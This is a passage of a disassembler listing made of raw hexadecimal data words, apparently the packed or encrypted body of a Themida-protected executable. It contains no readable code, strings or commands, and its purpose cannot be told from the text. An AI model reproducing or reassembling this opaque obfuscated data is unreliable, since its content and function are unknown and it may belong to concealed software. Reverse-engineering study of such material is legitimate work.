		dd 620662DFh, 0CE4382D8h, 1E68D01Ch, 6B7C5586h,	0C6B2EF5Fh
		dd 4BE23D4Fh, 2E7C6EEFh, 0A567F769h, 0E07CA5B6h, 0E424E6BFh
		dd 0D6605260h, 0EEE2D371h, 58B1FDD8h, 0B3C97BBEh, 5AFDB995h
		dd 0D02F498Bh, 43744874h, 2207408Ch, 149B6056h,	6A63D456h
		dd 2A2B071Eh, 1344EC38h, 0E138F33Fh, 1B677F5Fh,	8F7A56F2h
		dd 9D4FD942h, 0DDF5E682h, 0B74AB391h, 5523B534h, 1E3F1723h
		dd 0D723364Ch, 130CF54Ch, 7AE6FE3Eh, 475D7566h,	65DE4793h
		dd 0F53A32FCh, 37498F9Dh, 3EA33AD8h, 0E58ECAF5h, 40E70h
		dd 39855700h, 3B875EFFh, 3C886001h, 3F8B4314h, 3F8B4415h
		dd 3BC00615h, 3F60D824h, 2576DE2Ah, 297AE22Eh, 676BE531h
		dd 0A7372743h, 0DEF55614h, 1D6981D4h, 24706233h, 1A667C1Bh
		dd 2BEA4011h, 0A99762BBh, 86658695h, 6BB7ABACh,	314AFF1h
		dd 4D6F54F2h, 7000000h,	2CD1E95Bh, 0C3772AE6h, 9EB28E77h
		dd 498F8948h, 0FED785ACh, 0EBB7A1EDh, 6DC915CAh, 0F778F05h
		dd 0EF00D256h, 0AAC612C6h, 560F77B4h, 0D4709978h, 949EEAE3h
		dd 0B2C89BBCh, 8CB8519Dh, 77AA9CB0h, 0A78A560Fh, 6C43B28Bh
		dd 0FF000003h, 20965A86h, 144FC6B3h, 4AE32F23h,	0E1F749F0h
		dd 67835783h, 4FC6B2F7h, 7931DA35h, 378777B2h, 4CBFAB87h
		dd 1C498EB8h, 0E83A2C40h, 4DFA560Eh, 25FC4793h,	11F032FCh
		dd 25716916h, 1DF84E1Ah, 0BEAAC282h, 9A74C09Dh,	0D235AEC2h
		dd 18F74FD6h, 0CE75920h, 0C6CE4E40h, 727EDE4Fh,	4FC6CDFCh
		dd 0D138D130h, 13834773h, 214FC6CEh, 242834FEh,	498EB7AFh
		dd 95C6A27Dh, 9BA46EBAh, 8C97E3FCh, 0A0AC90DCh,	560EE8AEh
		dd 0C197A37Eh, 0ACA99202h, 0E163D660h, 5AD19DCBh, 0D44FD6D2h
		dd 0B4EE0F2Dh, 0B822B29Bh, 1F401822h, 1344FF4Bh, 0F249F33Fh
		dd 320E3A52h, 3A055109h, 541F4BE7h, 0AA498F2Dh,	0B7A0BC87h
		dd 0EDE354A0h, 65DD95A1h, 2560F6Eh, 0F117C5DEh,	0B8BD515h
		dd 15210854h, 750A8043h, 435B39D8h, 342A4012h, 230641E8h
		dd 2EC93008h, 8DA92FA9h, 41A0h,	0E95B3600h, 825975D3h
		dd 0EC498E9Eh, 98061745h, 0AD999682h, 0ACC87D99h, 560F58B6h
		dd 0DC67B3ABh, 0E35CA8BBh, 0B703DD7Eh, 8F469C6Ch, 7A5979E4h
		dd 0E834310Ah, 2E300A5Fh, 5B39BA91h, 0BAF2h, 69818C00h
		dd 5A75221Dh, 7062150Eh, 667C1B24h, 0B3057955h,	8274FC6h
		dd 53174321h, 4FC6B363h, 3B045006h, 55E140E6h, 0B1367501h
		dd 0C59D4FC6h, 0B6A698B4h, 0AB864FC6h, 0CD56A2B8h, 0F7A38D74h
		dd 75C10DDEh, 24A4F2E8h, 397A2295h, 0C198937Ah,	0EFFB697Fh
		dd 498ECC5Ch, 0E2F8EBCCh, 0B27CA5F1h, 0D0A79170h, 0E0EC5870h
		dd 4FD41BFDh, 4770CC33h, 4B0C4490h, 0C5EA4894h,	0D4CCBF44h
		dd 1B1AA8Bh, 0EAFA0000h, 0E8E5B69Eh, 0EDE3B49Ch, 0F0E6B7A1h
		dd 0F4EBACA4h, 29B1B0A8h, 0F55FABA4h, 0F761ADA4h, 0EF69B5A6h
		dd 0C870BCAEh, 0D2C488D4h, 625614A9h, 66813F83h, 6981221Ah
		dd 5B49331Dh, 8548D1E9h, 0CAC8CA46h, 12E90563h,	5C498F29h
		dd 68E26AB5h, 0F9560F59h, 0EC8B94E0h, 0BE0AE0F6h, 0F6CCDC67h
		dd 0E9C9741Fh, 0B5A6BA2Ah, 70D9529Eh, 0F5972E4h, 0D35FC256h
		dd 39BBFE81h, 0C8A1BA5Bh, 0D45EC37Ch, 0B053h, 6981EB00h
		dd 5A75221Dh, 0EB428E44h, 0B1975460h, 0E8FA4FC6h, 0CFE8B49Ch
		dd 0A881CA16h, 0CD19D18Eh, 273DFF52h, 0B61E3539h, 67D0498Eh
		dd 0B7FA2571h, 1C50B5DEh, 0B87FB950h, 0F8D47088h, 4FD45676h
		dd 0CCED5BB6h, 0C599C713h, 7C037E5Ch, 4612E912h, 4FC91D50h
		dd 12913BE4h, 1751178Fh, 6B2C24EEh, 0EF0A2874h,	0AACCBFEFh
		dd 0C19C81h, 5A0A0000h,	5875260Eh, 5D73240Ch, 60762711h
		dd 647B1C14h, 99412018h, 45EF3B14h, 47F13D14h, 3FF94516h
		dd 58004C1Eh, 62541844h, 0D25614AAh, 6681AFF3h,	0F7A8F918h
		dd 94466510h, 1048E148h, 0E54F9B4Fh, 1D69819Bh,	475D7522h
		dd 55194793h, 4FC6B361h, 5BD52CD3h, 87A5DE3Fh, 7DEE7FA3h
		dd 7EA95FA9h, 2DC6FA6h,	6CC34FB6h, 0C488B4CCh, 498C3FD2h
		dd 0D384BF62h, 0A995B3FFh, 13BDB1A5h, 929C8356h, 79C59DBEh
		dd 3E7A6AEh
		dd 964A36FDh, 8B5E014Ah, 0CE24043Fh, 66BC4CF7h,	0DC283AAFh
		dd 0E32F2374h, 0D31F3768h, 83421858h, 28105C0Eh, 38845B7Ch
		dd 5F001AEFh, 11043F8Bh, 3, 811763ADh, 73241F6Bh, 6718135Fh
		dd 801F2874h, 75221D69h, 62150E5Ah, 7926216Dh, 6916115Dh
		dd 7728236Fh, 7419125Eh, 67B568h, 24348900h, 15B968h, 24148900h
		dd 310568h, 24048900h, 5CFE6856h, 0F75E3E90h, 0FDE681D6h
		dd 0C10BFB3Ch, 0EE8104EEh, 0F9C8C871h, 348BF289h, 4C48124h
		dd 68000000h, 39E8h, 83242489h,	58042404h, 78D168h, 24148900h
		dd 8C240481h, 8F127652h, 68810840h, 76528C08h, 24048B12h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 8B5C241Ch, 89522414h
		dd 4C281E2h, 83000000h,	148704C2h, 70E95C24h, 9FFFA84h
		dd 0B052E7A1h, 0AE658F98h, 0F448C6EAh, 0F85DB8E0h, 0C503064Dh
		dd 8E50E0FFh, 99B0108Bh, 3F764D34h, 0AE75704Bh,	4D3565B3h
		dd 31893722h, 162271C8h, 1B441879h, 73F61BDEh, 0FCA74DCBh
		dd 0C6083946h, 35641798h, 4DA85E9Bh, 68590FA2h,	0A80C375Dh
		dd 0D4092CC0h, 0ED5906FCh, 17B30456h, 0E49655C5h, 4A717FE2h
		dd 678B7868h, 946E1B69h, 1AD917D1h, 0B0944C5Ah,	91E457DCh
		dd 13765E9Dh, 0AA7153BBh, 876B648Ah, 28B225F4h,	29261695h
		dd 0AD4659C1h, 86CD09A0h
		db 12h,	78h
word_59C6F2	dw 8D8Dh		; DATA XREF: Themida_:0053F1C0o
		dd 64DFA52h, 2C25952Bh,	8D890648h, 6480A19h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EAC35242h, 0E84E2CE3h
		dd 419D010Bh, 6606480Ah, 0C707E5BBh, 480F3585h,	5F8C06h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 40DABA50h, 870F9C44h, 6,	0CE59589h, 85890648h
		dd 6482451h, 242585C7h,	648h, 0AE90000h, 34000000h, 81BF2F55h
		dd 6B32A409h, 55B5FF85h, 6A064818h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BCDC352h
		dd 480F5195h, 0BD95FF06h, 0F8064820h, 1E85858Bh, 6A0648h
		dd 306195FFh, 0C08B0648h, 45758EBh, 82F49272h, 0E430309Ch
		dd 43A85E02h, 0CDC2A6E8h, 234F350Bh, 0FCF83AB4h, 0A598767Dh
		dd 274E452Ah, 0B20CCC23h, 0CAC4FC91h, 0FF7A5440h, 0BAAF13DAh
		dd 0DDBBB19Fh, 3428AB30h, 0C620F8DEh, 40226D46h, 8597D33Ch
		dd 92F9D8F2h, 0D22DD9C9h, 29839FFCh, 0F1356D2Bh, 7DE9A65Ah
		dd 60000001h, 6C4FFE5Dh, 0D76FC201h, 0EFB4CAD1h, 0E45B7E41h
		dd 6D5D9752h, 44FCA3FBh, 0A59EB992h, 95BCD792h,	93B9E4h
		dd 0F49DB2CBh, 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh
		dd 599CBA97h, 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h
		dd 0F78F7DB5h, 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch
		dd 100h, 43h dup(0)
		dd 3736D1F8h, 0D3C20DA4h, 3B8B4B5Fh, 0FF4E9h, 0FE216800h
		dd 0F5E9064Dh, 68FFFB4Ah, 64DFF47h, 0FB4AEBE9h,	0BC68FFh
		dd 0E1E9064Eh, 68FFFB4Ah, 64E019Ah, 0FB4AD7E9h,	2AB68FFh
		dd 0CDE9064Eh, 68FFFB4Ah, 64E03A0h, 0FB4AC3E9h,	44F68FFh
		dd 0B9E9064Eh, 68FFFB4Ah, 64E04C2h, 0FB4AAFE9h,	5C068FFh
		dd 0A5E9064Eh, 68FFFB4Ah, 64E0654h, 0FB4A9BE9h,	71668FFh
		dd 91E9064Eh, 68FFFB4Ah, 64E07F4h, 0FB4A87E9h, 8A768FFh
		dd 7DE9064Eh, 68FFFB4Ah, 64E09D8h, 0FB4A73E9h, 0AC968FFh
		dd 69E9064Eh, 56FFFB4Ah, 0BD3B0485h, 24B46F22h,	0BA46F998h
		dd 28B86B1Eh, 2648FB96h, 0A8E9F512h, 38516977h,	0A9E0F907h
		dd 3E536A76h, 0E873F405h, 9AB8BBA8h, 22132B70h,	0B932D6BBh
		dd 20187147h, 0ED30D4BDh, 9100DD09h, 1FE76ECEh,	31607C2Ch
		dd 785B28C5h, 2AFBE5Bh,	68C429BFh, 0A7A74ED8h, 24329965h
		dd 209BA872h, 48h, 58E31FEh, 0A106B7ABh, 1EEE4873h, 0DB3CAF17h
		dd 0B761AF3Ch, 0E129A106h, 6ACC91F8h, 0BE54EA61h, 0BB4974AFh
		dd 4EE4FE0Eh, 6DCA3DA7h, 4EE4929Eh, 3F75AA7h, 0AAAC1FE7h
		dd 9A9BA881h, 23C1D0EEh, 0E2CD3E18h, 0A1000000h, 0AB058E31h
		dd 73A106B7h, 0DB02EE48h, 29FA35B6h, 3859665Fh,	16CEA1ACh
		dd 6C6306Ch, 9B296876h,	2411724Bh, 0F78C9AB5h, 5DAD3B06h
		dd 0E14E1180h, 97F08B2Fh, 1EF4FFCh, 0E9D244F9h,	0A106A7B1h
		dd 2AE79C41h, 989764D1h, 10FF40FDh, 0E8523FA0h,	18ACE5F8h
		dd 0AA9D65ECh, 0BD95AAE1h, 560934AFh, 92616FE6h, 0A74E237Eh
		dd 0C546FB46h, 6B95778Ah, 0ECF27DB0h, 275DB6D7h, 6C896DBBh
		dd 0E9B99Fh, 0CD3E81B6h, 7120BE6Ah, 2EE4853h, 0D532B5DCh
		dd 988A0A06h, 8B6FD2ADh, 494896A2h, 55A92220h, 4CEFB5FCh
		dd 0D83h, 74AFDA01h, 0ED365B64h, 7FC0D1EBh, 0F1325781h
		dd 81C2CFEFh, 0A03ECBEDh, 8B22EF1h, 9742BE81h, 0EAF31F2h
		dd 0BE41C083h, 0B8B9DB35h, 0E876A39Ah, 8AD5BC22h, 21622F8Eh
		dd 0CF373E85h, 8110AC5Ch, 1FE5863h, 0C6CBF29Eh,	54C46754h
		dd 34EAFBEh, 0E53478E5h, 0DD00A74Eh, 0F7C810B4h, 0DFFE8E9Ah
		dd 180B16B2h, 0E368529Ch, 0F06E5DA9h, 0E09BA881h, 0D85CB43Fh
		dd 1924A74Eh, 0FCCC3Dh,	0DD4B0000h, 0A2AC8EFBh,	5AC8BB22h
		dd 0EC9D3B66h, 827AD5D8h, 0F3114CE8h, 92365B63h, 6B3ED2Dh
		dd 31607DA1h, 0C6CBF2EEh, 0BD46E922h, 0A106B173h, 4B3F103Bh
		dd 0F56477EAh, 333ACA2Ch, 10B1B6C5h, 954A67Eh, 0D116551Eh
		dd 54B3AFBDh, 4E5E8987h, 31088CA7h, 0FBDDD9BCh,	7468D2FDh
		dd 2F261649h, 45B354D7h, 97241673h, 0B601BEF2h,	0C4BF1D8Bh
		dd 0F8933243h, 9F45F857h, 0D0E0AB9Ch, 98AD991Dh, 0AE11C135h
		dd 90F3CB3Dh, 0EC53AD8Bh, 0DB35BEDDh, 0A3AD999Ch, 0E798E598h
		dd 0F7C78559h, 0A6A6E79Ah, 0CDFC5496h, 0C5DB417h, 0DB0000h
		dd 754AD689h, 7D5631Ch,	7147D98Ah, 5D96718h, 89B3D38Ch
		dd 285B3688h, 7CC7C218h, 0F32C5D7Ch, 86B9D8E5h,	256BF87Bh
		dd 0ED9AB8B9h, 0BC229EC0h, 0B7BCD49Fh, 3984A106h, 20BD3B04h
		dd 0CF41AE71h, 2B84A0E9h, 721D7DE9h, 9D9FE286h,	76B94F42h
		dd 0BB22BA84h, 13AA32D6h, 1B6F6370h, 4EB94557h,	5D36BC5h
		dd 550833A1h, 0D5232A0Ah, 1FEC99E2h, 0A1061C11h, 0A49D76D9h
		dd 0BA2DF024h, 0BE722231h, 43E1ECAFh, 4E9F9696h, 147D62A7h
		dd 3D5468F0h, 808E86A7h, 26D2353Ah, 9E5AE794h, 5B3F1934h
		dd 2EB83426h, 0E62AB956h, 0AEA74DD5h, 4E137E5Eh, 72C452ECh
		dd 44B49BA7h, 9DECCE76h, 0EBF94487h, 0B84C3D9Bh, 0BD4EA875h
		dd 54h,	0CF373E71h, 0BEA08F5Ch,	272AAFBEh, 28697424h, 25A5919Ch
		dd 4EBC74B8h, 8D59B3A7h, 0A855E03Eh, 2EDC9Bh, 0CD3B0000h
		dd 46899FF2h, 373E6AD4h, 2C8F5CCFh, 0F6AFBE56h,	7C903DCBh
		dd 0BBA74EE3h, 1806C551h, 149BA881h, 17h, 0D9B80573h, 3016004Bh
		dd 86907h, 304B8400h, 5DB0324Dh, 3E3E08F2h, 8F5CCF37h
		dd 0AFB483E0h, 34E4676Ah, 0A937E8A9h, 3B677D14h, 905BCC34h
		dd 0B6028030h, 0A652D5F8h, 37C97A17h, 0A9DDEBA6h, 46E962A2h
		dd 0AC8E03DAh, 5A4D801Fh, 46074ABCh, 0F6035750h, 0E84EF1B3h
		dd 6600000Ah, 0EDEB3455h, 7484BFD2h, 0EAF62968h, 7888BBCEh
		dd 56F82B66h, 7819A562h, 0E8A139C7h, 7910A937h,	0EEA33AC6h
		dd 0B843A435h, 9AB8B778h, 583DB40h, 0A106BAA7h,	0BF28988Fh
		dd 0B4862B34h, 9C67C8AFh, 0A754B394h, 0F0147D60h, 322427ADh
		dd 70E49FA2h, 551E09F9h, 0B6028192h, 0CA36B11Ch, 62E59EF3h
		dd 28355EEDh, 726A1B20h, 9DA0444Dh, 1902DB9h, 48B8AFE3h
		dd 0EED040DFh, 0BE0AB7A3h, 86BC5046h, 7E60D03Bh, 5AC62713h
		dd 6B1D0E83h, 54D93D54h, 0AF98F9C4h, 752D8310h,	7B08B3F0h
		dd 0B3F07535h, 0FB46D2FDh, 0FC0EBB1Fh, 0DB33F074h, 0E9FF922Dh
		dd 898074E6h, 0A271CE39h, 33F0748Eh, 0CEF1EB56h, 401A25C3h
		dd 0DB060BFh, 0A299284h, 9442A810h, 95200029h, 0B1736FB5h
		dd 0A0A0Eh, 56338800h, 0DDB40B0Dh, 4B4696A2h, 0D9B00818h
		dd 4D449AA6h, 0C7487412h, 57E99AF7h, 0BB3D0683h, 28B86B1Eh
		dd 0B643FC95h, 0B66AA635h, 0ED329AB8h, 0CF373E51h, 84D08F5Ch
		dd 0C15AAFB4h, 54B2DE32h, 0E69BA6A7h, 672AB365h, 538C2B1Ch
		dd 6AD276A0h, 494774BEh, 11A75457h, 419C4CAEh, 0C940B450h
		dd 0FFB10EF9h, 7B48B2DFh, 0B6022490h, 0C434B71Ah, 68E798F9h
		dd 51F43CC7h, 91BCADA2h, 0EDA439A5h, 4EA4ABD7h,	1EED60C9h
		dd 0ADA26012h, 369C77DAh, 66E19C4Fh, 5022B39Dh,	17103BBCh
		dd 0A83C5569h, 0D334B1A5h, 5069A734h, 0E31B3F0h, 7021BC2Ch
		dd 0C08C31AFh, 3DAE731Eh, 0BF9BEECBh, 505EAE1Bh, 0CF46B3F0h
		dd 3C67F4F7h, 0C6C29E1Eh, 0BD20907Bh, 308D8BD4h, 0A23AE661h
		dd 64D6D9EFh, 8F3D3460h, 3E4BAC04h, 144974BAh, 0A9E77413h
		dd 71BA3E4Bh, 800BEC4Eh, 0C8EC1987h, 0EE1AAE11h, 0DFAC9F67h
		dd 0CF443A88h, 6C3EEF52h, 0AFE319D8h, 8F952FDh,	64770000h
		dd 1DE5A25h, 6B51CF90h,	0FDDB5D26h, 7945D38Ch, 0F5476718h
		dd 7CC7CA14h, 0F82B5E7Ch, 87B8D1E8h, 0F22D6479h, 0B9F784E7h
		dd 819AB8B5h, 0BB22421Ch, 13AA32D6h, 9F206A7Eh,	25C3CEF1h
		dd 3AC4401Ah, 34EFA23Bh, 60551CFAh, 101895h, 31D60000h
		dd 274DEBB6h, 5CBE0A56h, 51A71h, 95014D00h, 72BE4DEAh
		dd 3AA106B7h, 58CF2317h, 0AC117F68h, 0B7CCE4AFh, 2994A106h
		dd 16E502F4h, 0AFBE5181h, 23F5E95Eh, 4DFA07D1h,	0BA9CEDCBh
		dd 0D6A3272Ah, 7943AF68h, 7459907h, 548DCB5h, 272EDE38h
		dd 609F6CDFh, 0EA8912EEh, 58C841E7h, 0B5F80C85h, 5BAB141h
		dd 0A4A7DAB7h, 5B64E8F4h, 0D28F9236h, 0AF288768h, 7B5DA14Ah
		dd 67D7450Eh, 0B6B019FDh, 428F55AFh, 0E0AB0CFFh, 86EEADD0h
		dd 24C13598h, 0F7286974h, 8CBDD4E9h, 22FF85A8h,	4B619CBh
		dd 82000008h, 0F1EF3059h, 8080C3CEh, 0EEEA355Ch, 7484BFCAh
		dd 4A5C276Ah, 0D4BD21EEh, 5C2D8D8Bh, 0C5C41523h, 325F7E7Ah
		dd 48FF0F1h, 9AB8B4ACh,	22172774h, 0AA32D6BBh, 52C27D14h
		dd 0EA26B5DBh, 0B2A106B7h, 8A59D28Fh, 0AFB4846Fh, 7E210A35h
		dd 0E08ABF49h, 0CBBF90F9h, 0C51105CFh, 793A8BF8h, 93BE41ACh
		dd 3A8395CEh, 0CE45B157h, 0E692F5F6h, 9EF281D2h, 66A75424h
		dd 0BF02265Bh, 0F27D6E5Bh, 0C407B601h, 8908D543h
		dd 0E8734AD6h, 0A220151Bh, 0AF72DDADh, 2C67E019h, 5C7666CDh
		dd 39CFC21Bh, 1FCF2BF6h, 0E59BD2BFh, 0EEFC4BBCh, 755933Eh
		dd 8D30000h, 9D42BE81h,	0FAD2BF4h, 993FC182h, 0DB12FF0h
		dd 91ABBB84h, 0F0335E80h, 84BFCAF0h, 5B246574h,	0CE9100DDh
		dd 0D23F053h, 0D59AB8B4h, 373EF648h, 0DC8F5CCFh, 66AFB484h
		dd 9D40F05Bh, 0CC97D0F4h, 0A754B2C4h, 1AFC418Ch, 0FF922BDDh
		dd 6829B444h, 2CA41B5Ch, 39B9681Dh, 4CC33723h, 67E87374h
		dd 31B60BFCh, 0B8AB5F0Eh, 0FCB0FC51h, 6E251h, 0E7B6000h
		dd 95FCC355h, 236E4ECAh, 91F8E060h, 256C52CEh, 1FF04C5Ah
		dd 8F91D2BFh, 13255E2Bh, 8080C3C6h, 0EEEB345Dh,	0B3B2FE8Dh
		dd 357A9AB8h, 0D6BB2209h, 7E13AA32h, 5AA4206Ah,	94CFC21Bh
		dd 60507CDAh, 117895h, 7360000h, 313h, 83C91484h, 0FE0A573Ah
		dd 22FD47B3h, 74FFA0BBh, 0A106B81Ch, 0EE42D9E4h, 0BAA106B7h
		dd 575A6E23h, 0CDB57EC1h, 74430910h, 0C430D489h, 672754Dh
		dd 7E7FDBB6h, 0B3ECF6F5h, 23D80AFh, 0CF9CE7F6h,	0A16D37CAh
		dd 0E5E6AB7h, 0D0E0ABB0h, 98A75423h, 0C537E835h, 0E675764Eh
		dd 0B601F0A6h, 37FD4681h, 0A88B9659h, 0A209D5DBh, 0EF329DADh
		dd 7374D70Bh, 6ED9B805h, 9EE42D1h, 8BB6ADA2h, 637A86AFh
		dd 6C529A2Eh, 6E4BF9E0h, 7FC20D1Bh, 33E526C2h, 7F73E7AAh
		dd 61CF3888h, 0C522147Dh, 59AE3536h, 8DBCFFBCh,	0F60405C7h
		dd 0E449F4B8h, 62000005h, 0D14F1079h, 60E0A3EEh, 0CE4A157Ch
		dd 54E49FEAh, 2A3C078Ah, 0B4DD010Eh, 3C4D6D6Bh,	0A5E4F503h
		dd 127F5EDAh, 0A46FD051h, 9AB8B28Ch, 2277C754h,	0AA32D6BBh
		dd 206A7E13h, 0C21B5AA4h, 0D2E35CCFh, 3C8A0496h, 0C649EE48h
		dd 0F90F825Ah, 6CEA44B6h, 5C955FF4h, 53E030BBh,	54E3A106h
		dd 0C67B2EF8h, 1AFC3FD5h, 0EE9h, 7F31C500h, 979A2E5Bh
		dd 15B18A3h, 31460000h,	0BC2F5A7Fh, 6B7E12Fh, 0B4A6A9A1h
		dd 51F89924h, 8E77B8Dh,	509B46E6h, 0CE000005h, 55E39CEDh
		dd 0BC3C078Ah, 32AE7120h, 0C0400386h, 9EB0731Eh, 40516D9Ah
		dd 0B0D901FFh, 4148716Fh, 0B6DB02FEh, 800B6C6Dh, 9AB8B230h
		dd 228BB3F8h, 0B932D6BBh, 0D1B7647h, 0EEA33AC2h, 9001DC0Ch
		dd 1385E274h, 9951C5CCh, 0FC95284Dh, 51090B43h,	19059560h
		dd 0D9000000h, 0E007h, 7F31DB00h, 33452259h, 0CD350781h
		dd 0CE1FA690h, 43000000h, 345D7F31h, 59A98D90h,	0E12FBCD2h
		dd 0A9A106B7h, 0A370DBA6h, 0AFB483E8h, 0C4C51385h, 1D318252h
		dd 0F5AA69E0h, 6D992FF2h, 5506D9E6h, 54878A86h,	32EF52A7h
		dd 746FFCEFh, 0FEB60C27h, 0B4C2CE9Dh, 478AAD9Ch, 7E9553FAh
		dd 4EDEFC51h, 48EA3h, 0DAAF0C00h, 494897A9h, 0DFB20A16h
		dd 454494A4h, 0B1E0FEFAh, 2BDCE06Eh, 0B345FE93h, 1F216227h
		dd 8494CFBAh, 1A275839h, 0B0C6CA99h, 218E9AB8h,	0CF373E3Dh
		dd 75218F5Ch, 0A6A9AFBEh, 0A8E9F3A5h, 33F4C77h,	0B00DA74Fh
		dd 0D50419Ch, 9B23D552h, 4F9B77E8h, 0E19CB254h,	0D21EF843h
		dd 881A7EAh, 84CBECFh, 607A6F15h, 0BB02F429h, 41Fh, 8FFAE050h
		dd 3DBC09C4h, 0B99D7D37h, 99373E93h, 6B7C6CAh, 0FE438EA1h
		dd 0DEFEAA0Dh, 3D4C6Eh,	547DD9E4h, 0AFB48497h, 94F5C434h
		dd 0B4C8C893h, 2D90A754h, 4E7119C9h, 0B1EAFE43h, 13B1E0FFh
		dd 0CE93F6C3h, 3191986Ch, 6C2A81B6h, 8C9B4694h,	0C5BE4DAAh
		dd 62B60BF8h, 8D6928B6h, 7F12AD5Dh, 721B6669h, 0FC51ACBEh
		dd 0B08C2FF5h, 2E000003h, 0B543FC8Dh, 1C1C672Ah, 928ED1C0h
		dd 20206326h, 0FE90D3BEh, 20714DBAh, 90F9E15Fh,	216851CFh
		dd 96FBE25Eh, 20EB4CCDh, 9AB8B110h, 3EEB53D8h, 8F5CCF37h
		dd 0AFB483E0h, 0C791427Dh, 211E2C5h, 40410631h,	3B1FF8B5h
		dd 0DC7F5FA7h, 547C010Fh, 0BB86C9A7h, 59228586h, 0A7547C57h
		dd 0BD3A1C1Fh, 641F724Bh, 7C8809D4h, 8B0108h, 0A7547CB0h
		dd 1F085578h, 249EC54h,	9E89B4B6h, 5F2A8F01h, 449486C9h
		dd 0D9671879h, 0B778D04h, 0F6657704h, 0A278236Dh, 9DE0EBADh
		dd 25B967E0h, 9E6D8A6Ch, 0BC5A1701h, 33C980CBh,	54F6038Fh
		dd 2FD2D90h, 607B0000h,	0D5EAF629h, 677583BCh, 0D1E7F92Ah
		dd 657987B8h, 6953F32Ch, 0C87B16A8h, 9CE7A238h,	134C3D9Ch
		dd 0A6D9B805h, 454B189Bh, 0D9AB8B0h, 0BB22BEA0h, 13AA32D6h
		dd 0BE1B8D7Eh, 4E7FF8BDh, 0DAA7194Dh, 0CE45B780h, 4D66F5F6h
		dd 0D7AFBE43h, 78175074h, 4EC0A5EBh, 404971A7h,	147544B4h
		dd 8670ADF0h, 4EC0EF3Dh, 10DE2EA7h, 0D3B60474h,	594FCD67h
		dd 414B9BA8h, 0CC000000h, 0F311805Ch, 3E084EA8h, 0A7FCC137h
		dd 94DFB20Bh, 39045CFEh, 0B78645CEh, 7710AFBDh,	4E46A4ECh
		dd 0D7616CA7h, 50BB8603h, 0AB8FFAE0h, 466AC227h, 63A9A74Eh
		dd 0E42E309Bh, 0BA2A9BA7h, 4000000h, 32D6BB22h,	677D14AAh
		dd 35D3BE1Fh, 8E7918A5h, 32D6BB22h, 0F9220BEFh,	0A106BEC1h
		dd 24EF6C51h, 0A106BD0Ch, 33B469D4h, 0A397FAC5h, 325F7E7Ah
		dd 1BEB6296h, 0B8218F30h, 0EE833D1h, 0BEBCC6C5h, 32ED50AFh
		dd 907B4BC2h, 1CF7E03h,	4EB904B6h, 0CA95FCE2h, 4813AB5Dh
		dd 996C75BBh, 4F123DADh, 8931B9h, 0B2A4D9E4h, 50F99826h
		dd 0FC54C6B4h, 0CCC22DBFh, 4A000001h, 0D9671871h, 48D88B06h
		dd 0D6621D74h, 3CBC8702h, 1234EFA2h, 0BCD5E926h, 24657583h
		dd 8DFCDD5Bh, 1A7746D2h, 8C57D869h, 9AB8AE84h, 227FDF4Ch
		dd 8E8AD5BCh, 6EE9622Fh, 301806CCh, 0D760BA38h,	0CF373EAFh
		dd 541C8F5Ch, 9BA6AFBEh, 0E3CCE08Dh, 810BA74Eh,	80C85675h
		dd 0D8C49BA8h, 43000000h, 0D81917E4h, 0DEE1A74Eh, 0BB22D27Ch
		dd 0B7BDD3A0h, 0CB98A106h, 0A106B7C5h, 8BB6428Dh, 29B255D6h
		dd 0A106B7E7h, 2AAA8CAFh, 9295FCE2h, 4EEEF81Dh,	0FC5EE914h
		dd 772773D8h, 26B7A106h, 0D1E99226h, 0C34ADA6h,	0BF80BD80h
		dd 0CFF59C41h, 0D354ACA3h, 0BE8B6308h, 0A1E2EDAFh, 0DB4CB4BBh
		dd 1AA3010h, 37D40BB6h,	0E2352F60h, 0B076BA49h,	133EAD99h
		dd 20EDD4Eh, 0CAAD99B1h, 0FC3F9387h, 50419D0Bh,	0E4AD110Fh
		dd 54832BA5h, 35984CFCh, 0DBh, 3C078259h, 0B56E23BCh, 47F89923h
		dd 0B96A1FB9h, 49FA9727h, 0E8F61325h, 506A76A9h, 0DFFA0639h
		dd 566779AAh, 76F9083Bh, 0B8ADA3EDh, 203E6B9Ah,	8AD5BC22h
		dd 0BED3EB9Dh, 8B4C272Ah, 23E4BB7Bh, 0FFDE0AECh, 22B5D192h
		dd 0B932D6BBh, 5D37147h, 205D6084h, 0B8545C27h,	0B11CA106h
		dd 4D449945h, 0DB2B2212h, 83B4A370h, 537EAFB4h,	60FB34B5h
		dd 10156225h, 724B9B7Fh, 9D4641Fh, 0E9CF7C88h, 0DCED911Bh
		dd 2E8FE630h, 0BD202063h, 1C61308Fh, 2F627D2Bh,	0C6959699h
		dd 0E519A9CAh, 7CB2F92h, 9430597Fh, 0E0D42A5h, 0C207D8AFh
		dd 5FE2F53Fh, 8FA84514h, 0AEC74FABh, 1789820Fh,	0C66FCBC6h
		dd 14A9A33Ah, 1964677Dh, 0D600Bh, 79270000h, 0B7DAE361h
		dd 0E7530E11h, 226DB95Dh, 0A434D0B9h, 1C6C7819h, 0B038CCBDh
		dd 21697F0Ah, 0A830D4BDh, 1D6D7B16h, 0B23ACEBBh, 1961870Ah
		dd 0D93DCBC6h, 5E08950h, 4, 8704E883h, 248B2404h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 628068h, 24048900h
		dd 4DFCCC68h, 8B545E06h, 0C4832404h, 4EC8304h, 8F243489h
		dd 34FF0840h, 0C4835824h, 2434FF04h, 4C4815Eh, 0E9000000h
		dd 0FFFB3B14h, 0CAE478C4h
		dd 54E352E0h, 0BC9B89Fh, 0C503064Eh, 0DF8DE0FFh, 99591048h
		dd 9B3F3459h, 6BFD3F35h, 91958C2h, 52B652C5h, 0A03B6D4Eh
		dd 212B5141h, 1DC753D5h, 56786DC9h, 30914AC3h, 266A46B3h
		dd 5760513Eh, 3A637AB9h, 0EE6C628Ch, 4BB62196h,	8D8D4D8Bh
		dd 64E0D19h, 8D89D38Ah,	6480A19h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 77C35747h, 14199D8Bh, 85C70648h
		dd 6480F35h, 6FA4h, 0F0D9D8Bh, 85C70648h, 6482425h, 0
